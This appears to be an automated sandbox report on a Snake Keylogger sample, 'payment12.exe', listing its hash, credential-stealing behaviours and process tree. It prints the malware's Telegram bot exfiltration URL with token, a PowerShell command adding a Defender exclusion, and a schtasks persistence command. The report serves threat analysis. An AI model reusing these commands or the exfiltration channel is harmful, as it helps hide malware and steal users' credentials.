Analysis
- max time kernel
56s - max time network
123s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
- submitted
18/10/2022, 11:06
General
- Target payment12.exe
- Size 991KB
- Sample221018-m7ebqafec8
- SHA256 a2bc93e1eb0d1ac91d7c09faf00c5ecf97f7501c8883391c9d5b77a5c23c99c9
Malware Config
Extracted
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snakekeylogger
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https://api.telegram.org/bot5788931871:AAEfkw_P98L88KrFlXGZzJolFlQrpqGegLg/sendMessage?chat_id=5649714338
Signatures
- Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
- Snake Keylogger payload 6 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\payment12.exe"C:\Users\Admin\AppData\Local\Temp\payment12.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\viSTrVlJqTVR.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\viSTrVlJqTVR" /XML "C:\Users\Admin\AppData\Local\Temp\tmpAA64.tmp"2⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\payment12.exe"C:\Users\Admin\AppData\Local\Temp\payment12.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
tmpAA64.tmp
memory/1684-78-0x000000006E720000-0x000000006ECCB000-memory.dmp
memory/1684-77-0x000000006E720000-0x000000006ECCB000-memory.dmp
memory/1788-73-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1788-75-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1788-70-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1788-64-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1788-65-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1788-67-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1788-69-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1960-58-0x0000000000AC0000-0x0000000000B40000-memory.dmp
memory/1960-63-0x0000000005CE0000-0x0000000005D06000-memory.dmp
memory/1960-54-0x0000000000210000-0x000000000030C000-memory.dmp
memory/1960-57-0x0000000000410000-0x000000000041C000-memory.dmp
memory/1960-56-0x00000000003B0000-0x00000000003C8000-memory.dmp
memory/1960-55-0x00000000751A1000-0x00000000751A3000-memory.dmp